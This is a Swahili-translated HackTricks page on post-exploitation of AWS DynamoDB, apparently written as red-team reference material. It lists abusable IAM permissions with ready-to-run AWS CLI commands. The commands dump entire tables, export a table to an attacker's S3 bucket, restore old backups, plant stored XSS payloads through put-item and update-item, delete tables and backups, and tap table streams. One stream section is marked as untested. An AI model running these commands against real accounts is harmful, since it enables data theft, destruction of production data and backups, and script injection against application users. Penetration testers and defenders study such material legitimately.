AWS - DynamoDB Post Exploitation

Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

DynamoDB

Kwa habari zaidi angalia:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

Mshambuliaji mwenye ruhusa hii ataweza kupata vitu kutoka kwenye meza kwa msingi wa msingi (hauwezi tu kuuliza data yote ya meza). Hii inamaanisha kuwa unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Matokeo Yanayowezekana: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti kwenye meza

dynamodb:GetItem

Kama ruhusa zilizotangulia hii inaruhusu mshambuliaji wa uwezekano kusoma thamani kutoka kwenye meza 1 tu kwa kutoa ufunguo wa msingi wa kuingiza:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Kwa idhini hii, pia ni rahisi kutumia njia ya transact-get-items kama:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti kwenye meza

dynamodb:Query

Kama ruhusa zilizotangulia hii inaruhusu mshambuliaji wa uwezekano kusoma thamani kutoka kwenye meza 1 kwa kutoa funguo ya msingi ya kuingiza. Inaruhusu kutumia kifupi cha mlinganisho, lakini mlinganisho pekee unaoruhusiwa na funguo ya msingi (ambao lazima waonekane) ni "EQ", hivyo huwezi kutumia mlinganisho kupata DB nzima katika ombi.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>

Athari Inayowezekana: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti kwenye meza

dynamodb:Scan

Unaweza kutumia ruhusa hii kwa kudump meza nzima kwa urahisi.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti kwenye meza

dynamodb:PartiQLSelect

Unaweza kutumia ruhusa hii kwa kudondosha meza nzima kwa urahisi.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Ruhusa hii pia inaruhusu kutekeleza batch-execute-statement kama:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

lakini unahitaji kufafanua funguo ya msingi na thamani, hivyo haifai sana.

Athari Inayowezekana: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti kwenye meza

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Ruhusa hii itamruhusu mshambuliaji kupeleka meza nzima kwenye kisanduku cha S3 cha uchaguzi wake:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Tafadhali kumbuka kwamba ili hii ifanye kazi, meza inahitaji kuwa na urejeshaji wa wakati wa pointi uliowezeshwa, unaweza kuangalia ikiwa meza ina hilo kwa:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Ikiwa haijashawishiwa, utahitaji kuwezesha na kwa hilo unahitaji ruhusa ya dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti kwenye meza

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Kwa ruhusa hizi, mshambuliaji angekuwa na uwezo wa kuunda meza mpya kutoka kwa nakala rudufu (au hata kuunda nakala rudufu kisha kuirudisha kwenye meza tofauti). Kisha, akiwa na ruhusa zinazohitajika, angekuwa na uwezo wa kuangalia habari kutoka kwa nakala rudufu ambazo zisingekuwepo tena kwenye meza ya uzalishaji.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti katika chelezo la meza

dynamodb:PutItem

Ruhusa hii inaruhusu watumiaji kuongeza kipengee kipya kwenye meza au kuchukua nafasi ya kipengee kilichopo na kipengee kipya. Ikiwa kipengee chenye msingi wa msingi sawa tayari ipo, kipengee kizima kitachukuliwa na kipengee kipya. Ikiwa msingi wa msingi hauipo, kipengee kipya na msingi wa msingi uliowekwa utaundwa.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>

Athari Inayowezekana: Kutumia udhaifu/mipito zaidi kwa kuweza kuongeza/kurekebisha data katika meza ya DynamoDB

dynamodb:UpdateItem

Ruhusa hii inaruhusu watumiaji kurekebisha sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee. Haibadilishi kipengee kizima; inasasisha tu sifa zilizotajwa. Ikiwa funguo kuu haipo katika meza, operesheni ita unda kipengee kipya na kuweka sifa zilizotajwa katika kielezo cha sasisho.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Athari Inayowezekana: Kutumia udhaifu/mipito zaidi kwa kuweza kuongeza/kurekebisha data katika meza ya DynamoDB

dynamodb:DeleteTable

Mshambuliaji mwenye ruhusa hii anaweza kufuta meza ya DynamoDB, kusababisha upotevu wa data.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Athari za uwezekano: Upotevu wa data na kuvurugika kwa huduma zinazoitegemea meza iliyofutwa.

dynamodb:DeleteBackup

Mshambuliaji mwenye ruhusa hii anaweza kufuta nakala ya kuhifadhi ya DynamoDB, ikisababisha upotevu wa data katika kesi ya tukio la kurejesha baada ya janga.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Athari inayowezekana: Upotezaji wa data na uwezo wa kurejesha kutoka kwa chelezo wakati wa tukio la kupona kutokana na janga.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Jaribu kama hii kweli inafanya kazi

Mshambuliaji mwenye ruhusa hizi anaweza kuwezesha mtiririko kwenye meza ya DynamoDB, kusasisha meza ili kuanza kutiririsha mabadiliko, na kisha kupata mtiririko huo ili kufuatilia mabadiliko kwenye meza kwa wakati halisi. Hii inamruhusu mshambuliaji kufuatilia na kuchukua data zilizobadilishwa, ikisababisha upotezaji wa data.

  1. Wezesha mtiririko kwenye meza ya DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Eleza mchakato wa kupata ARN na maelezo mengine:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Pata mshika itaratibu kwa kutumia ARN ya mtiririko:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Tumia mchakato wa shard kufikia na kuchukua data kutoka kwenye mtiririko:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Athari inayowezekana: Ufuatiliaji wa wakati halisi na upitishaji wa data wa mabadiliko kwenye meza ya DynamoDB.

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated